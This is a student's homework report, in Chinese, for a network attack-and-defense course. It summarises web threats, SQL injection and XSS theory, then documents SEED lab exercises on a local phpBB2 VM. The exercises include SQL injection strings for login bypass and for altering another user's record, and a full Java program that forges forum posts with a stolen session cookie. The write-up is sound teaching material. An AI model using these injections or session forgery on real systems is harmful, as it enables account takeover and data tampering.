20199316 2019-2020-2 《网络攻防实践》第十一周作业
学号 2019-2020-2 《网络攻防实践》第十一周作业
1.实践内容
一、Web应用程序体系结构及其安全威胁
- 1.Web应用体系结构
Web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言所编写,或能够在浏览器控制的环境中运行,依赖于浏览器来对应用程序进行渲染与执行。
Web应用的体系结构由浏览器作为“瘦”客户端主要完成数据显示与展示内容的渲染功能;而由功能强大的“胖”服务器负责完成主要业务的计算处理;两者之间通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。
“胖”服务器构成:
1. Web服务器软件
2. Web应用程序
3. 后端数据库
- 2.Web应用安全威胁
1.针对浏览器和终端用户的web浏览安全威胁。具体包括以浏览器渗透攻击为核心的网页木马,Phishing网站钓鱼等。
2.针对传输网络的网络协议安全威胁。如针对HTTP明文插损胡协议的敏感信息监听,在网络层、传输层和应用层都存在的假冒身份攻击,以及拒绝服务攻击等。
3.系统层安全威胁。Web站点的宿主操作系统,如Windows、Server、Linux等,存在着远程渗透攻击和本地渗透攻击威胁。
4.Web服务器软件安全威胁。web服务器如IIS、Apache作为一种典型的网络服务,也不可避免的存在着安全漏洞与弱点,攻击者可以利用这些漏洞对web服务器进行攻击,获取敏感信息。
5.Web应用程序安全威胁。程序员在使用ASP、PHP等脚本语言实现Web应用程序时,由于缺乏安全意识或有着不良的编程习惯,最终导致Web应用程序出现安全漏洞,从而被共集资和渗透利用,包括SQL注入攻击、XSS跨站脚本攻击等。
6.Web数据安全威胁。web站点中在Web应用程序后台存储的关联数据内容,以及web客户输入的数据内容,存在着被窃取、篡改及输入不良信息等威胁。
二、web应用安全攻防技术概述
- 1、web应用的信息收集
主要收集内容包括服务器域名、IP地址和虚拟IP地址、Web服务器端口与其他开放服务、Web站点类型和版本、Web应用程序类型及版本、Web服务器及其存在的安全漏洞信息。
1.手工审查web应用程序结构与源代码
(1)查看静态和动态生成的页面,HTML源文件可能包含一些有价值的隐藏信息。
(2)查看Web服务器的存储目录结构。
(3)查看辅助性文件,包括CSS级联样式表、XML样式表等等。
(4)查看输入表单,表单是Web应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单的位置。
(5)查询参数字符串,可以复用以假冒其他用户、获取受限的数据、运行任意的系统命令等,提供了Web应用程序内部工作的信息。
2.自动下载与镜像web站点页面:提升手动审查的自动化程度。
3.使用Google hacking技术审查与探测web应用程序:最高效的审查与探测方法。
4.web应用程序安全评估与漏洞探测:为了找出薄弱环节,总结针对这个web应用程序的详细攻击步骤。
(1)针对Web应用程序的攻击主要集中在身份验证、会话管理、数据库操作、输入数据合法/合理性检查。
(2)安全辅助分析工具主要包括浏览器插件、免费工具集、商业Web应用安全评估系统和漏洞扫描器。
- 2、攻击web服务器软件
web服务器平台中的安全漏洞主要分为以下几大类:
1.数据驱动的远程代码执行安全漏洞:Web服务器软件也面临缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程攻击渗透攻击。
2.服务器功能拓展模块漏洞
3.样本文件安全漏洞
4.原代码泄露
5.资源解析攻击
- 3、攻击web应用程序
这是目前安全最薄弱的环节
Web应用程序安全威胁从攻击技术角度分为:
1.针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段。
2.授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段。
3.客户端攻击:扰乱或渗透攻击web站点客户端用户的攻击手段。
4.命令执行攻击:在web站点执行远程命令的攻击手段。
5.信息暴露:获取web站点具体系统信息的攻击手段。
6.逻辑攻击:扰乱或渗透攻击web应用逻辑流程的攻击手段。
- 4、攻击web数据内容
针对敏感数据内容的攻击威胁。
1.安全敏感数据泄露
(1)web服务器存在目录遍历漏洞或不安全的目录文件枚举配置。
(2)利用web服务器的上传目录临时中转文件。
(3)在web站点公开的文档资料中包含个人隐私、企业秘密。
2.网站篡改:利用特定攻击手段入侵网站后,将网站页面内容进行替换。
3.不良信息内容上传
- 5、web应用安全防范措施
针对上述威胁和攻击,要设计安全防范措施来缓解web应用安全威胁。
1.Web站点网络传输安全设防措施:使用HTTPS、SSH、SFTP等安全协议。
2.Web站点操作系统及服务安全设防措施:及时进行操作系统及服务的补丁更新、漏洞扫描等。
3.Web应用程序安全设防措施:在设计时就应该谨慎考虑,并且要多设置日志信息。
4.Web站点数据安全设防措施:提高个人的安全意识,提高系统的数据保护能力。
三、SQL注入
-
1.SQL注入攻击原理
SQL注入是利用Web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入攻击技术,这类被攻击的漏洞被称为SQL注入漏洞,是由于用户输入没有被正确地过滤以消除SQL语言中的字符串转义字符,如引号(')、双引号(")、反引号(`)、分号(;)等,或者没有进行严格的类型判断,从而使得用户可以输入并执行一些非预期的SQL指令代码。 -
2.SQL注入攻击步骤和过程
1.发现SQL注入点:发现SQL注入点是实施SQL注入攻击的第一步
2.判断后台数据库类型
(1)利用数据库服务器的系统变量进行判断
(2)利用数据库服务器的系统表进行判断
3.后台数据库管理员用户口令字猜解
(1)猜解表名
(2)猜解字段名
用户名与口令猜解
4.上传ASP后门,得到默认账户权限
5.本地权限提升
6.利用数据库扩展存储过程执行Shell命令
- 3.SQL注入工具
国外:Wposion、wieliekoek.pl、SPIKE Proxy;
国内:CSC、NBSI、HDSI、阿D注入工具、WED等
- 4.SQL注入攻击防范措施
1.使用类型安全的参数编码机制
2.凡是来自外部的用户输入,必须进行完备检查
3.将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
4.加强SQL数据库服务器的配置与连接
四、XSS跨站脚本攻击
-
1.XSS攻击技术原理
XSS跨站脚本攻击的最终目标不是提供服务的Web应用程序而是使用Web应用程序的用户。XSS的漏洞存在于Web应用程序中,使得攻击者可以在Web页面中插入恶意HTML或JavaScript代码,用户在浏览网页时,客户端浏览器会解析这些插入的代码,造成获取用户敏感信息、客户端渗透攻击等敏感后果。 -
2.xss攻击类型
1.持久性XSS漏洞:通常出现于一些可以将用户输入持久性保存在Web服务器端,并在一些“正常”页面中持续显示,从而能影响所有访问这些页面的其他用户。
2.非持久性XSS漏洞:当web浏览器在HTTP请求参数或HTML提交表单中提供的数据,被立即由服务器端脚本使用产生一个提供给该用户的结果界面,儿缺乏恰当的请求数据安全验证与过滤,那么就很有可能存在非持久性XSS漏洞。
(1)针对非持久性XSS漏洞的具体攻击包括:
(2)攻击者构造一个包含恶意脚本的bank.com登录请求连接,通过email等方式将该攻击发送给其他用户。
(3)用户点击连接后会将恶意连接中包含的恶意脚本当做用户名参数提交给bank.com登陆处理页面。
(4)网站将会在反馈的欢迎页面中包含恶意客户端脚本。
(5)攻击者的恶意客户端在受害者浏览器中执行,会驱动浏览器发送会话令牌。
(6)攻击者获得用户会话令牌后,可以劫持用户会话,伪造用户登录进一步实施攻击。
- 3.XSS攻击防范措施
1.服务器端防范措施:“限制、拒绝、净化”
(1)输入验证: 对用户提交数据进行尽可能严格的验证与过滤。
(2)输出净化: HTML编码。
(3)消除危险的输入点。
2.客户端防范措施
(1)提高浏览器访问非受信网站时的安全等级。
(2)关闭Cookie功能,或设置Cookie只读。
(3)采用非主流安全浏览器。
2.实践过程
2.1 SEED SQL注入实验
SEED Ubuntu镜像
环境配置Firefox、apache、phpBB2(镜像中已有):
1.运行Apache Server:镜像已经安装,只需运行命令%sudo service apache2 start
2.phpBB2 web应用:镜像已经安装,通过http://www.sqllabmysqlphpbb.com访问,应用程序源代码位于/var/www/SQL/SQLLabMysqlPhpbb/
3.关闭对抗措施
- 使用
vim /etc/php5/apache2/php.ini
命令打开php.ini. - 找到
magic_quotes_gpc = On
这一行,改为magic_quotes_gpc = Off
. - 使用
sudo service apache2 restart
重启Apache.
4.对SELECT语句进行攻击,通过访问虚拟机内的URL:www.sqllabmysqlphpbb.com。在进入phpBB之前系统会要求你登陆。这个登陆认证由服务器上的login.php实现,需要用户输入用户名和密码来通过认证。
去网上寻找了答案,答案的是在用户名输入ted'#,密码空着就行,ted是一个已经存在的用户名,用单引号结束这个字符串,用#转义掉后面的语句。
5.对UPDATE语句的攻击
当用户想要在phpBB2中修改他们的资料时,可以点击Profile,然后填写表单修改。
6.用户发送修改请求后,因为我在表单里输入了一些特殊字符,所以提交不成功,给出了反馈信息,分析可知提交表单使用了一条Update语句,并且是根据user_id来进行修改的
7.这里要求修改别人的信息,那么可以尝试着在表单里注入SQL语句来修改最后面的where user_id =语句,将id改为其他编号,即把表单里的修改信息更新到数据库里id为其他编号的那条数据
明白了SQL注入破解登录的原理,这里就简单多了,在表单最后一个提交的输入框里输入该项的值,并加上 'where user_id =3#
,即可将修改信息更新到用户id为3的账户上
8.修改成功后,查看用户列表,用户Alice的信息已经被修改
2.2XSS攻击
1.当登入账户以后,添加新的消息,输入如下信息,并提交,其中即为执行弹窗行为的脚本命令,这里把本来作为文档显示的内容当做了命令执行,当查看该消息时,script里的动作行为被执行,显示了弹窗信息
2.下一步是获取页面cookie,重新添加一个消息,并在内容中加入script脚本信息,获取cookie并弹窗显示出来,其中即为执行弹窗获取cookie的脚本命令
3.ted登录bbs发贴,同时用火狐的HTTP LIVE Headers插件捕获发帖的信息
4.使用Fimfox的LiveHttpHeader扩展组件,攻击者可以对发表或修改帖了时,所发送的HTTP Header数据与POST数据进行记录,然后在如下所示的Java代码中添加窃取到的用户会话Cookie,以及包含新帖子或修改帖于内容的POST数据,运行这段Java程序之后,就可以通过URLConnection类向论坛服务器发送数据包。
5.用捕获的ted发帖的上述信息,编写HTTPSimpleForge.java程序,并填写相关的参数。
完整的HTTPSimpleForge.java代码如下:
import java.io.*;
import java.net.*;
public class HTTPSimpleForge {
public static void main(String[] args) throws IOException {
try {
int responseCode;
InputStream responseIn=null;
// URL to be forged.
URL url = new URL ("http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1");
// URLConnection instance is created to further parameterize a
// resource request past what the state members of URL instance
// can represent.
URLConnection urlConn = url.openConnection();
if (urlConn instanceof HttpURLConnection) {
urlConn.setConnectTimeout(60000);
urlConn.setReadTimeout(90000);
}
// addRequestProperty method is used to add HTTP Header Information.
// Here we add User-Agent HTTP header to the forged HTTP packet.
urlConn.addRequestProperty("User-agent","Sun JDK 1.6");
urlConn.setRequestProperty("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
urlConn.setRequestProperty("Accept-Language","en-us,en;q=0.5");
urlConn.setRequestProperty("Accept-Encoding","gzip,deflate");
urlConn.setRequestProperty("Accept-Charset","ISO-8859-1,utf-8;q=0.7,*;q=0.7");
urlConn.setRequestProperty("Connection","keep-alive");
urlConn.setRequestProperty("Keep-Alive","115");
urlConn.setRequestProperty("Referer","http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1");
urlConn.setRequestProperty("Cookie","phpbb2mysql_data=a:2:{s:11:"autologinid";s:0:"";s:6:"userid";s:1:"6";}; phpbb2mysql_sid=df444be6e36ed5d3e54800c47b9ad5af; phpbb2mysql_t=a:1:{i:9;i:1306422029;}");
urlConn.setRequestProperty("Content-Type","application/x-www-form-urlencoded");
urlConn.setRequestProperty("Content-Length","245");
//HTTP Post Data which includes the information to be sent to the server.
//String data="username=admin&seed=admin@seed.com";
String data="subject=test+by+ted&addbbcode18=#444444&addbbcode20=0&helpbox=Underline+text:+[u]text[/u]++(alt+u)&message=test&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid=df444be6e36ed5d3e54800c47b9ad5af&f=1&post=Submit";
// DoOutput flag of URL Connection should be set to true
// to send HTTP POST message.
urlConn.setDoOutput(true);
// OutputStreamWriter is used to write the HTTP POST data
// to the url connection.
OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
wr.write(data);
wr.flush();
// HttpURLConnection a subclass of URLConnection is returned by
// url.openConnection() since the url is an http request.
if (urlConn instanceof HttpURLConnection) {
HttpURLConnection httpConn = (HttpURLConnection) urlConn;
// Contacts the web server and gets the status code from
// HTTP Response message.
responseCode = httpConn.getResponseCode();
System.out.println("Response Code = " + responseCode);
// HTTP status code HTTP_OK means the response was
// received sucessfully.
if (responseCode == HttpURLConnection.HTTP_OK) {
// Get the input stream from url connection object.
responseIn = urlConn.getInputStream();
// Create an instance for BufferedReader
// to read the response line by line.
BufferedReader buf_inp = new BufferedReader(
new InputStreamReader(responseIn));
String inputLine;
while((inputLine = buf_inp.readLine())!=null) {
System.out.println(inputLine);
}
}
}
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
3.学习中遇到的问题及解决
- 问题1:xss窗口一直不弹出
- 问题1解决方案:内容为,需要加上分号才行。
- 问题2:虚拟机不能拖进东西导致一些实验做不了
- 问题3:HTTP LIVE Headers种post一直捕捉不到?
- 问题3解决方案:不能使用sql网址,使用xss网站即可。
4.实践总结
这次实验需要探索和学习的地方比较多,做的还比较心累,虚拟机也不能复制粘贴进去东西,还上不了网,太难了orz。